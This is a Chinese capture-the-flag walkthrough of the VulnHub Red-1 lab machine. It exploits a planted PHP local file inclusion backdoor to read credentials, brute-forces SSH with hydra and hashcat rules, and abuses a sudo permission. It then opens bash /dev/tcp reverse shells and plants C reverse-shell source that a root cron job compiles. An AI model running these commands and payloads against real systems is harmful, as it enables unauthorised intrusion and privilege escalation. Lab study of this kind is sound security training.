靶机练习No.4 VulnHub靶场 Red-1

680 阅读5分钟

**声明:**文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究

靶机信息

下载地址:www.vulnhub.com/entry/red-1…

难度:中等

上架时间:2021年11月3日

提示信息:Red has taken over your system, are you able to regain control?

红色已经控制了你的系统,你能重新控制吗?


信息收集

扫描主机

sudo nmap -sP 192.168.7.1/24

图片

扫描端口

sudo nmap -sC -sV -p- 192.168.7.238 -oN Red-1.nmap

图片

nmap扫描到开放22端口和80端口,并且还帮我们扫描到一些信息,robots.txt文件、wp-admin后台目录、WordPress 5.8.1版本


web渗透

让我们先访问80看看,是Red黑了我们的站点,并且嘲笑我们永远找不到后门

图片

首页上的链接和后台都无法访问,看链接都指向了一个redrocks.win的地址,应该需要我们绑定域名

图片

绑定域名

sudo vi /etc/hosts

图片

绑定域名后页面变正常了

图片

到处点点发现在redrocks.win/2021/10/24/…

图片

Still Looking For It? Maybe you should ask Mr. Miessler for help, not that it matters, you won't be able to read anything with it anyway

百度翻译:

还在找吗?也许你应该向米斯勒先生寻求帮助,这并不重要,反正你什么都看不懂.

首先是Looking For IT这段里用了三个大写字母让人联想到LFI(Local File Include)本地文件包含的简写,并且这里提到了Mr. Miessler,google搜索发现他是<秘密名单>的作者,最后还提到阅读任何东西

按以上内容猜测不是一个后门文件,而是本地文件包含漏洞,如果是文件包含那就需要一个参数.

目录扫描

先找一下后门文件:

gobuster dir -u http://192.168.7.238 -w ../../Dict/SecLists-2021.4/Web-Shells/backdoor_list.txt +x .php

图片

扫描到文件NetworkFileManagerPHP.php,访问提示错误500

图片

那现在就用模糊测试下参数,找到参数为key

wfuzz -c -w HackTools/Dict/SecLists-2021.4/Discovery/Web-Content/burp-parameter-names.txt -u http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=xxx |grep 200

图片

浏览器中验证参数是否正确

http://redrocks.win/NetworkFileManagerPHP.php?key=/etc/passwd

图片

参数正确并且找到4个有登录权限的帐号:root john ippsec oxdf

用伪协议看下NetworkFileManagerPHP.php文件的源码

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=NetworkFileManagerPHP.php

base64解码后为

<?php
   $file = $_GET['key'];
   if(isset($file))
   {
       include("$file");
   }
   else
   {
       include("NetworkFileManagerPHP.php");
   }
   /* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?>

这里面还有一段base64,拿出来再解一次

VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw==

解出来的内容是

That password alone won't help you! Hashcat says rules are rules

这个提示提到密码和hashcat还有规则,意思是让我暴破?

既然拿到文件包含漏洞了,就再找找有价值的东西

首先读取wordpress的配置文件

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=wp-config.php

图片

bash64解一下

图片

找到mysql数据库帐号john密码R3v_m4lwh3r3_k1nG!!

这里的帐号john与passwd文件中的帐号相同,那么密码会不会也是一样的呢?

ssh登录验证

图片

暴破密码

登陆失败,既然都提到了hashcat那就用他破解下规则

hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > password.txt

图片

再用解出来的密码本password.txt对ssh暴破

hydra -l john -P password.txt 192.168.7.238 ssh

图片

成功拿到密码!!Gn1k_3r3hwl4m_v3R现在登陆ssh

又提示我密码不对

图片

再暴破一次,密码竟然变了R3v_m4lwh3r3_k1nG!!00

图片

暴破几次才登录上去,随手看了下目录里的文件,当我用cat查看文件时竟然是编辑文档,我用vi编辑文件又变成了查看文件内容,看来vi和cat命令相互改了名字,在我打完这段文字时我竟然被踢下来了.

图片

在他的提示里提到ippsec字样,之前我们在passwd文件中看到了相同的帐号,估计是让我们用ippsec帐号

再次暴破密码登陆后立即查看sudo权限

sudo -l

发现ippsec 执行/usr/bin/time不需要sudo密码即可执行,那就利用一下进入ippsec权限

sudo -u ippsec /usr/bin/time /bin/bash

图片

切换成功,可是又被踢下来了,那如何能持久化登录上去呢?

再次登陆切换到ippsec帐号

反弹shell

先在kali攻击机下监听4444端口

nc -lvvp 4444

图片

暴破密码

hydra -l john -P password.txt 192.168.7.238 ssh

登录ssh

ssh john@192.168.7.238

因为时间有限,登录后立即执行切换帐号和反弹shell(两条命令可以一起复制粘贴到shell里执行)

sudo -u ippsec /usr/bin/time /bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.7.3/4444 0>&1'

反弹成功,使用python3切换到完整的shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z
stty -a
stty raw -echo;fg
reset
stty rows 23 columns 172

切换后等了一会ssh又断开了,但是我们反弹的shell还保留,shell交互还是有点问题

图片

看起来非常不舒服,这时我们再次使用nc反弹到另一个端口即可恢复正常

先在kali攻击监听3333端口

nc -lvvp 3333

图片

在之前反弹回来的shell里再次反弹

图片

这时可以看到3333端口反弹成功了

图片

再次用python3切换完整shell

图片

这时要按Ctrl+Z

图片

图片

这时仍然有弹出消息,但是不会踢下线,交互式shell也正常了

权限提升

想到这个RED一直在踢我下线,并且给我发消息,那一定有程序一直在运行

使用pspy64s监听程序运行,先下载pspy64s

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s

下载提示无权限

图片

那我们切换到/tmp目录再下载一次

cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s

图片

下载成功,为pspy64s添加可执行权限并运行

chmod +x pspy64s
./pspy64s

图片

让我们稍等一会,就会发现循环执行的内容

图片

这些都是都是自动运行的程序,root下的测试过都没有权限访问,但是这里有wordpress目录下的内容可以利用

切换到.git目录

cd /var/www/wordpress/.git

先删除rev程序

rm rev

图片

我们到revshells.com生成一个C的反弹后门源码替换supersecretfileuc.c文件

图片

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 7777;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("192.168.7.3");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"/bin/bash", NULL};
    execve("/bin/bash", argv, NULL);

    return 0;       
}

现在kali攻击机下再开一个监听端口7777

nc -lvvp 7777

然后在shell里新一个文件exp.c

cat exp.c

再将后门代码复制到文件内

最后用mv 命令将exp.c改名为supersecretfileuc.c

mv exp.c supersecretfileuc.c

图片

这时只要静静等待过一会便会连上我们的7777端口

图片

图片

成功拿到root权限,结束.